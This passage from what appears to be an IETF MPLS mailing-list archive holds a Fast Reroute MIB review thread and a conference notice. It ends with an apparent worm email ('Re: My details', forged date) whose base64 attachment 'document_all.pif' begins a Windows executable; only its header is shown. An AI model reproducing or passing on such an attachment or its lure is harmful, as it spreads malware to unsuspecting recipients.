IHRha2VzIG5vIHBvc2l0aW9uIHJlZ2FyZGluZyB0aGUgdmFsaWRpdHkgb3Igc2NvcGUgb2YgYW55
DQogICAgaW50ZWxsZWN0dWFsIHByb3BlcnR5IG9yIG90aGVyIHJpZ2h0cyB0aGF0IG1pZ2h0IGJl
IGNsYWltZWQgdG8gcGVyLQ0KICAgIHRhaW4gdG8gdGhlIGltcGxlbWVudGF0aW9uIG9yIHVzZSBv
ZiB0aGUgdGVjaG5vbG9neSBkZXNjcmliZWQgaW4gdGhpcw0KICAgIGRvY3VtZW50IG9yIHRoZSBl
eHRlbnQgdG8gd2hpY2ggYW55IGxpY2Vuc2UgdW5kZXIgc3VjaCByaWdodHMgbWlnaHQNCiAgICBv
ciBtaWdodCBub3QgYmUgYXZhaWxhYmxlOyBuZWl0aGVyIGRvZXMgaXQgcmVwcmVzZW50IHRoYXQg
aXQgaGFzIG1hZGUNCiAgICBhbnkgZWZmb3J0IHRvIGlkZW50aWZ5IGFueSBzdWNoIHJpZ2h0cy4g
IEluZm9ybWF0aW9uIG9uIHRoZSBJRVRGJ3MNCiAgICBwcm9jZWR1cmVzIHdpdGggcmVzcGVjdCB0
byByaWdodHMgaW4gc3RhbmRhcmRzLXRyYWNrIGFuZCBzdGFuZGFyZHMtDQogICAgcmVsYXRlZCBk
b2N1bWVudGF0aW9uIGNhbiBiZSBmb3VuZCBpbiBCQ1AtMTEuICBDb3BpZXMgb2YgY2xhaW1zIG9m
DQogICAgcmlnaHRzIG1hZGUgYXZhaWxhYmxlIGZvciBwdWJsaWNhdGlvbiBhbmQgYW55IGFzc3Vy
YW5jZXMgb2YgbGljZW5zZXMNCiAgICB0byBiZSBtYWRlIGF2YWlsYWJsZSwgb3IgdGhlIHJlc3Vs
dCBvZiBhbiBhdHRlbXB0IG1hZGUgdG8gb2J0YWluIGENCiAgICBnZW5lcmFsIGxpY2Vuc2Ugb3Ig
cGVybWlzc2lvbiBmb3IgdGhlIHVzZSBvZiBzdWNoIHByb3ByaWV0YXJ5IHJpZ2h0cw0KICAgIGJ5
IGltcGxlbWVudGVycyBvciB1c2VycyBvZiB0aGlzIHNwZWNpZmljYXRpb24gY2FuIGJlIG9idGFp
bmVkIGZyb20NCiAgICB0aGUgSUVURiBTZWNyZXRhcmlhdC4NCg0KICAgIFRoZSBJRVRGIGludml0
ZXMgYW55IGludGVyZXN0ZWQgcGFydHkgdG8gYnJpbmcgdG8gaXRzIGF0dGVudGlvbiBhbnkNCiAg
ICBjb3B5cmlnaHRzLCBwYXRlbnRzIG9yIHBhdGVudCBhcHBsaWNhdGlvbnMsIG9yIG90aGVyIHBy
b3ByaWV0YXJ5DQogICAgcmlnaHRzIHdoaWNoIG1heSBjb3ZlciB0ZWNobm9sb2d5IHRoYXQgbWF5
IGJlIHJlcXVpcmVkIHRvIHByYWN0aWNlDQogICAgdGhpcyBzdGFuZGFyZC4gIFBsZWFzZSBhZGRy
ZXNzIHRoZSBpbmZvcm1hdGlvbiB0byB0aGUgSUVURiBFeGVjdXRpdmUNCiAgICBEaXJlY3Rvci4N
Cg0KMTEuIEF1dGhvcnMnIEFkZHJlc3Nlcw0KDQogICAgUml6YSBDZXRpbg0KICAgIEFsY2F0ZWwN
CiAgICBGcmFuY2lzIFdlbGxlc3BsZWluIDENCiAgICBCLTIwMTggQW50d2VycCwgQmVsZ2l1bQ0K
ICAgIEVtYWlsOiByaXphLmNldGluQGFsY2F0ZWwuYmUNCg0KICAgIFN0ZWZhYW4gRGUgQ25vZGRl
cg0KICAgIEFsY2F0ZWwNCiAgICBGcmFuY2lzIFdlbGxlc3BsZWluIDENCiAgICBCLTIwMTggQW50
d2VycCwgQmVsZ2l1bQ0KICAgIEVtYWlsOiBzdGVmYWFuLmRlX2Nub2RkZXJAYWxjYXRlbC5iZQ0K
DQogICAgRGVyLUh3YSBHYW4NCiAgICBKdW5pcGVyIE5ldHdvcmtzLCBJbmMuDQogICAgMTE5NCBO
LiBNYXRoaWxkYSBBdmVudWUNCiAgICBTdW5ueXZhbGUsIENBIDk0MDg5DQogICAgRW1haWw6IGRo
Z0BqdW5pcGVyLm5ldA0KDQogICAgVGhvbWFzIEQuIE5hZGVhdQ0KICAgIENpc2NvIFN5c3RlbXMs
IEluYy4NCiAgICAzMDAgQXBvbGxvIERyaXZlDQogICAgQ2hlbG1zZm9yZCwgTUEgMDE4MjQNCiAg
ICBFbWFpbDogdG5hZGVhdUBjaXNjby5jb20NCg0KMTIuIEZ1bGwgQ29weXJpZ2h0IFN0YXRlbWVu
dA0KDQogICAgQ29weXJpZ2h0IChDKSBUaGUgSW50ZXJuZXQgU29jaWV0eSAoMjAwMSkuIEFsbCBS
aWdodHMgUmVzZXJ2ZWQuDQoNCiAgICBUaGlzIGRvY3VtZW50IGFuZCB0cmFuc2xhdGlvbnMgb2Yg
aXQgbWF5IGJlIGNvcGllZCBhbmQgZnVybmlzaGVkIHRvDQogICAgb3RoZXJzLCBhbmQgZGVyaXZh
dGl2ZSB3b3JrcyB0aGF0IGNvbW1lbnQgb24gb3Igb3RoZXJ3aXNlIGV4cGxhaW4gaXQNCiAgICBv
ciBhc3Npc3QgaW4gaXRzIGltcGxlbWVudGF0aW9uIG1heSBiZSBwcmVwYXJlZCwgY29waWVkLCBw
dWJsaXNoZWQNCiAgICBhbmQgZGlzdHJpYnV0ZWQsIGluIHdob2xlIG9yIGluIHBhcnQsIHdpdGhv
dXQgcmVzdHJpY3Rpb24gb2YgYW55DQogICAga2luZCwgcHJvdmlkZWQgdGhhdCB0aGUgYWJvdmUg
Y29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwYXJhZ3JhcGggYXJlDQogICAgaW5jbHVkZWQgb24g
YWxsIHN1Y2ggY29waWVzIGFuZCBkZXJpdmF0aXZlIHdvcmtzLiBIb3dldmVyLCB0aGlzDQogICAg
ZG9jdW1lbnQgaXRzZWxmIG1heSBub3QgYmUgbW9kaWZpZWQgaW4gYW55IHdheSwgc3VjaCBhcyBi
eSByZW1vdmluZw0KICAgIHRoZSBjb3B5cmlnaHQgbm90aWNlIG9yIHJlZmVyZW5jZXMgdG8gdGhl
IEludGVybmV0IFNvY2lldHkgb3Igb3RoZXINCiAgICBJbnRlcm5ldCBvcmdhbml6YXRpb25zLCBl
eGNlcHQgYXMgbmVlZGVkIGZvciB0aGUgcHVycG9zZSBvZg0KICAgIGRldmVsb3BpbmcgSW50ZXJu
ZXQgc3RhbmRhcmRzIGluIHdoaWNoIGNhc2UgdGhlIHByb2NlZHVyZXMgZm9yDQogICAgY29weXJp
Z2h0cyBkZWZpbmVkIGluIHRoZSBJbnRlcm5ldCBTdGFuZGFyZHMgcHJvY2VzcyBtdXN0IGJlDQog
ICAgZm9sbG93ZWQsIG9yIGFzIHJlcXVpcmVkIHRvIHRyYW5zbGF0ZSBpdCBpbnRvIGxhbmd1YWdl
cyBvdGhlciB0aGFuDQogICAgRW5nbGlzaC4NCg0KICAgIFRoZSBsaW1pdGVkIHBlcm1pc3Npb25z
IGdyYW50ZWQgYWJvdmUgYXJlIHBlcnBldHVhbCBhbmQgd2lsbCBub3QgYmUNCiAgICByZXZva2Vk
IGJ5IHRoZSBJbnRlcm5ldCBTb2NpZXR5IG9yIGl0cyBzdWNjZXNzb3JzIG9yIGFzc2lnbnMuDQoN
CiAgICBUaGlzIGRvY3VtZW50IGFuZCB0aGUgaW5mb3JtYXRpb24gY29udGFpbmVkIGhlcmVpbiBp
cyBwcm92aWRlZCBvbiBhbg0KICAgICJBUyBJUyIgYmFzaXMgYW5kIFRIRSBJTlRFUk5FVCBTT0NJ
RVRZIEFORCBUSEUgSU5URVJORVQgRU5HSU5FRVJJTkcNCiAgICBUQVNLIEZPUkNFIERJU0NMQUlN
UyBBTEwgV0FSUkFOVElFUywgRVhQUkVTUyBPUiBJTVBMSUVELCBJTkNMVURJTkcNCiAgICBCVVQg
Tk9UIExJTUlURUQgVE8gQU5ZIFdBUlJBTlRZIFRIQVQgVEhFIFVTRSBPRiBUSEUgSU5GT1JNQVRJ
T04NCiAgICBIRVJFSU4gV0lMTCBOT1QgSU5GUklOR0UgQU5ZIFJJR0hUUyBPUiBBTlkgSU1QTElF
RCBXQVJSQU5USUVTIE9GDQogICAgTUVSQ0hBTlRBQklMSVRZIE9SIEZJVE5FU1MgRk9SIEEgUEFS
VElDVUxBUiBQVVJQT1NFLg0K

--------------6707E7B4022D43DFA5660F44--



From owner-mpls@UU.NET  Fri Oct 10 11:33:25 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03704
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 11:33:24 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjva21482
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 15:33:17 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjva21317;
	Fri, 10 Oct 2003 15:33:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjuz23480
	for mpls-outgoing; Fri, 10 Oct 2003 15:19:31 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjuz23473
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 15:19:21 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjuz16621
	for <mpls@uu.net>; Fri, 10 Oct 2003 15:18:04 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjuz10158
	for <mpls@uu.net>; Fri, 10 Oct 2003 15:18:03 GMT
Received: from sj-iport-3.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpjuz10099
	for <mpls@uu.net>; Fri, 10 Oct 2003 15:18:01 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 10 Oct 2003 08:26:31 -0700
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9AFHwcZ005510
	for <mpls@uu.net>; Fri, 10 Oct 2003 08:17:58 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADB02715;
	Fri, 10 Oct 2003 11:17:57 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9AFHvh20520 for mpls@uu.net; Fri, 10 Oct 2003 11:17:57 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjuz23262
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 15:16:04 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjuy13480
	for <mpls@UU.NET>; Fri, 10 Oct 2003 15:11:54 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjuy21035
	for <mpls@UU.NET>; Fri, 10 Oct 2003 15:11:54 GMT
Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQpjuy21006
	for <mpls@UU.NET>; Fri, 10 Oct 2003 15:11:52 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2656.59)
	id <4FS0X56N>; Fri, 10 Oct 2003 16:11:40 +0100
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F8028706D5@baker.datcon.co.uk>
From: Nic Neate <Nic.Neate@dataconnection.com>
To: "'riza.cetin@alcatel.be'" <riza.cetin@alcatel.be>
Cc: Cisco - Thomas Nadeau <tnadeau@cisco.com>,
        "'stefaan.de_cnodder@alcatel.be'" <stefaan.de_cnodder@alcatel.be>,
        Juniper - Der-Hwa Gan <dhg@juniper.net>,
        "'jvasseur@cisco.com'"
	 <jvasseur@cisco.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Suggested improvements to the Fast Reroute MIB definition in 
	 draft-ietf-mpls-fastreroute-mib-01
Date: Fri, 10 Oct 2003 16:11:37 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Thanks Riza,

It is helpful to see version 02 of the draft.  In particular
 - explicitly stating the advertising of detour LSPs in the mplsTunnelTable
makes things a lot clearer
 - you clarify that the mplsFrrConstTable is used for both facility and
one-to-one backup, so that clears up my first suggested change.

Your comment that the mplsFrrConstTable is only intended for configuration
at ingress makes the indexing clearer.  It would be good to have that
clarified in the draft as well.  However, this seems like an unnecessary
restriction to me - would it not also be useful to have this information
reported at transit nodes on the protected LSP?

That leaves just one outstanding suggestion - that the protection method be
configurable per-LSP in the mplsFrrConstTable, as supported by the FRR
draft.  I look forward to hearing the outcome of your discussions with Tom.

Nic


-----Original Message-----
From: riza.cetin@alcatel.be [mailto:riza.cetin@alcatel.be]
Sent: Friday, October 10, 2003 2:06 PM
To: Nic Neate
Cc: Cisco - Thomas Nadeau; 'stefaan.de_cnodder@alcatel.be'; Juniper -
Der-Hwa Gan; 'jvasseur@cisco.com'; 'mpls@uu.net'
Subject: Re: Suggested improvements to the Fast Reroute MIB definition
in draft-ietf-mpls-fastreroute-mib-01



Nic,

We have done a lot of changes mainly on the detour related tables. The new
version has not been submitted yet. Please find attached the new version and
my
answers to your questions below.

Riza.

Nic Neate wrote:

> Hi all,
>
> I've not had any further discussion on this for a while.  This is a
summary
> of what I'm suggesting, taking into account the points people have made,
and
> what we've already resolved.  Please get back to me with any disagreement
or
> new arguments.
>
> Thanks,
>
> Nic
>
> Agreed corrections to the draft
> ===============================
>
> 1.  Reflect in the description of the mplsFrrConstHopLimit field that the
> information is not available at transit detour nodes.  Suggested text:
>
>       DESCRIPTION
>         "The maximum number of hops that the detour LSP may traverse.
>          This field is not relevant and should be ignored if this
>          entry in the mplsFrrConstTable is being used in the context
>          of representing a detour LSP."

This table is ONLY used at the ingress node of the protected tunnel instance
to
configure backup LSP setup constraints. So it is not relevant for the detour
transit nodes.

>
>
> 2.  Typo: change mplsFrrConstExclAllAffinity to
mplsFrrConstExclAnyAffinity.

Done.

>
>
> 3.  In section 5.3, change "mplsFrrDetourXCPointer" to
> "mplsTunnelXCPointer".  In the DESCRIPTION of mplsFrrDetourActive, change
> "mplsFrrDetourRole" to "mplsTunnelRole".
>

This object has been removed from the new version of the draft.

>
> Outstanding suggested changes
> =============================
>
> 1.  The mplsFrrConstTable should be a common table for both facility and
> detour backup.  Currently it is defined to show "detour setup
constraints".
> However, the fields map precisely to those in the RSVP FAST_REROUTE object
> and the FRR draft specifies that the FAST_REROUTE object applies equally
to
> both facility and detour backup.  Thus the table is required equally for
> facilty and detour backup.
>

To be discussed with Tom Nadeau.

>
> 2.  The mplsFrrConstProtectionMethod should be a field in the
> mplsFrrConstTable, not a scalar.  The FRR draft allows an LSR to
> simulateously support LSPs using both facility and detour backup.  This is
> likely to happen in real world networks, in particular when a network is
> being migrated from one protection type to another.  Hence the protection
> method needs to be configurable/reportable per-LSP, not just per-LSR.  I
> suggest the follow text for the MIB.
>
>    mplsFrrConstProtectionMethod OBJECT-TYPE
>       SYNTAX        INTEGER { oneToOneBackup(0),
>                               facilityBackup(1)
>                             }
>       MAX-ACCESS    read-write
>       STATUS        current
>       DESCRIPTION
>         "Indicates which protection method is to be used for fast
>          reroute."
>       ::= { mplsFrrConstEntry 4 }
>

To be discussed with Tom Nadeau.

>
> 3.  The indexing of the mplsFrrConstTable needs fixing.  The current three
> indicies (interface index, tunnel index and tunnel instance) are
> insufficient.  For example, two protected LSPs could meet at a transit
node,
> both with different ingress and egress but the same values for each of the
> existing mplsFrrConstTable indices.  If those protected LSPs have a
> different value for, say, the mplsFrrConstSetupPrio then they need
different
> entries in the mplsFrrConstTable.
>
> Rather than adjusting the current indexing, I suggest replacing the three
> existing indices with a single integer index, mplsFrrConstIndex.  This
index
> can then be referenced from the mplsTunnelTable, establishing a simple
> indexing system with clear relationships between the tables (which is also
> in line with existing relationships between tables in the TE-MIB and
> LSR-MIB).
>
> Briefly, this would require the following.
> - New mplsFrrConstIndex field in the mplsFrrConstTable, replacing the
three
> existing indices.
> - New mplsFrrTunnelFrrConstIndex/Pointer field in the mplsTunnelTable,
> pointing to the mplsFrrConstTable entry for this tunnel.
>
> Some full suggested text follows.
>
> For the mplsFrrConstTable:
>
>    MplsFrrConstIndex ::= TEXTUAL-CONVENTION
>       STATUS        current
>       DESCRIPTION
>         "Index into mplsFrrConstTable."
>       SYNTAX  Integer32 (1..65535)
>
>    mplsFrrConstIndex OBJECT-TYPE
>       SYNTAX        MplsFrrConstIndex
>       MAX-ACCESS    not-accessible
>       STATUS        current
>       DESCRIPTION
>            "Uniquely identifies this row."
>       ::= { mplsFrrConstEntry 1 }
>
> For the mplsTunnelTable:
>
>    -- MPLS Fast Reroute Tunnel Table
>
>    mplsFrrTunnelTable            OBJECT-TYPE
>       SYNTAX                     SEQUENCE OF MplsFrrTunnelEntry
>       MAX-ACCESS                 not-accessible
>       STATUS                     current
>       DESCRIPTION
>          "This table extends the mplsTunnelTable defined in the
>           MPLS-TE MIB to provide Fast Reroute configuration."
>       ::= { mplsFrrGeneralObjects 1 }
>
>    mplsFrrTunnelEntry            OBJECT-TYPE
>       SYNTAX                     MplsFrrTunnelEntry
>       MAX-ACCESS                 not-accessible
>       STATUS                     current
>       DESCRIPTION
>          "This entry provides Fast Reroute configuration for the
>           tunnel."
>       AUGMENTS { mplsTunnelEntry }
>       ::= {mplsFrrTunnelTable 1}
>
>    MplsFrrTunnelEntry ::= SEQUENCE {
>       mplsFrrTunnelFrrConstPointer      RowPointer
>    }
>
>    mplsFrrTunnelFrrConstPointer   OBJECT-TYPE
>       SYNTAX                      RowPointer
>       MAX-ACCESS                  read-create
>       STATUS                      current
>       DESCRIPTION
>            "This variable represents a pointer to the Fast Reroute
>              parameter specification for this tunnel.  This value may
>              point at an entry in the mplsFrrConstTable to indicate
>              which mplsFrrConstEntry is to be assigned to this LSP
>              instance.  This value may optionally point at an
>              externally defined Fast Reroute parameter specification
>              table.  A value of zeroDotZero indicates default Fast
>              Reroute parameters if the fastReroute bit in the
>              mplsTunnelSessionAttributes is set, and otherwise no Fast
>              Reroute protection."
>       DEFVAL        { zeroDotZero }
>       ::= { mplsFrrTunnelEntry 1 }
>
>    END

This table is only intended to be used at the ingress nodes initiating the
backup LSPs. It will not be present at the transit detour LSPs. So, I don't
see
a need to change the indexing.



From owner-mpls@UU.NET  Fri Oct 10 12:34:05 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA06221
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 12:34:03 -0400 (EDT)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjve03356
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 16:34:08 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjve03183;
	Fri, 10 Oct 2003 16:34:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjvd18411
	for mpls-outgoing; Fri, 10 Oct 2003 16:20:32 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjvd18406
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 16:20:25 GMT
Received: from imr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvd12184
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 16:19:28 GMT
Received: from dgismtp06.wcomnet.com by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dgismtp06.mcilink.com [166.38.58.89])
	id QQpjvd12180
	for <mpls@UU.NET>; Fri, 10 Oct 2003 16:19:28 GMT
Received: from CONVERSION-DAEMON.dgismtp06.wcomnet.com by dgismtp06.wcomnet.com
 (iPlanet Messaging Server 5.1 HotFix 0.7 (built May  7 2002))
 id <0HMJ00201UNS1B@dgismtp06.wcomnet.com> for mpls@UU.NET; Fri,
 10 Oct 2003 16:19:28 +0000 (GMT)
Received: from dgismtp06.wcomnet.com by dgismtp06.wcomnet.com
 (iPlanet Messaging Server 5.1 HotFix 0.7 (built May  7 2002))
 with SMTP id <0HMJ00201UOE2U@dgismtp06.wcomnet.com> for mpls@UU.NET; Fri,
 10 Oct 2003 16:19:28 +0000 (GMT)
Received: from dmcdysan ([166.32.199.64])
 by dgismtp06.wcomnet.com (iPlanet Messaging Server 5.1 HotFix 0.7 (built May 7
 2002)) with SMTP id <0HMJ00MMIUOF6D@dgismtp06.wcomnet.com>; Fri,
 10 Oct 2003 16:19:27 +0000 (GMT)
Date: Fri, 10 Oct 2003 12:19:28 -0400
From: Dave McDysan <dave.mcdysan@mci.com>
Subject: MPLS 2003 Conference
To: Ccamp <ccamp@ops.ietf.org>, Pwe3 <pwe3@ietf.org>, Mpls <mpls@UU.NET>,
        l2vpn@ietf.org, l3vpn@ietf.org
Message-id: <NBBBLDAKOPKFLNKDGDLGMEHJJGAA.dave.mcdysan@mci.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


MPLS 2003 International Conference
Omni Shoreham Hotel, Washington D.C.
October 26-28, 2003
====================================
http://www.mpls2003.com
====================================
You are cordially invited to attend the MPLS 2003 International Conference
to be held in Washington D.C. October 26-28, 2003. The 3-day event consists
of highly technical sessions, tutorials, panel discussions, and exhibits.

You can register for the conference at:

 http://www.mpls2003.com/registration.htm

A limited number of rooms are available at the Omni Shoreham Hotel at
special
rates for conference attendees. These discounted rooms are available for
only a few more days - make your reservation as soon as possible. Please
MAKE SURE THAT YOU IDENTIFY YOURSELVES AS CONFERENCE ATTENDEES TO RECEIVE
THE REDUCED RATES.

Important Dates:
---------------------
- Tutorials: October 26, 9:00am - 5:30 pm
- Conference sessions: October 27-28, 8:45am-6:30pm
- Exhibits: October 27-28, 8:45am-6:30pm

Program:
---------------------
Visit http://www.mpls2003.com/sessions.htm for abstracts and speaker bios

We look forward to seeing you at the Conference.





From owner-mpls@UU.NET  Fri Oct 10 13:14:15 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08182
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 13:14:13 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjvg02978
	for <mpls-archive@lists.ietf.org>; Fri, 10 Oct 2003 17:14:20 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjvg02705;
	Fri, 10 Oct 2003 17:14:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjvf21655
	for mpls-outgoing; Fri, 10 Oct 2003 16:56:58 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjvf21643
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 10 Oct 2003 16:56:57 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjvf03619
	for <mpls@uu.net>; Fri, 10 Oct 2003 16:54:06 GMT
From: dareks@nortelnetworks.com
Received: from DDSL-12 by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [61.11.82.129])
	id QQphmq25778
	for <mpls@uu.net>; Wed, 24 Sep 2003 07:02:37 GMT
Message-Id: <QQphmq25778.200309240702@cmr1.ash.ops.us.uu.net>
To: <mpls@UU.NET>
Subject: Re: Re: My details
Date: Fri, 1 Jan 1999 2:41:44 +0530
X-MailScanner: Found to be clean
Importance: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MSMail-Priority: Normal
X-Priority: 3 (Normal)
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="_NextPart_000_00939D42"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format

--_NextPart_000_00939D42
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

See the attached file for details
--_NextPart_000_00939D42
Content-Type: application/octet-stream;
	name="document_all.pif"
Content-Disposition: attachment;
	filename="document_all.pif"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em
nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA
TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA
AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA
AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu
c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS
AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA
AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
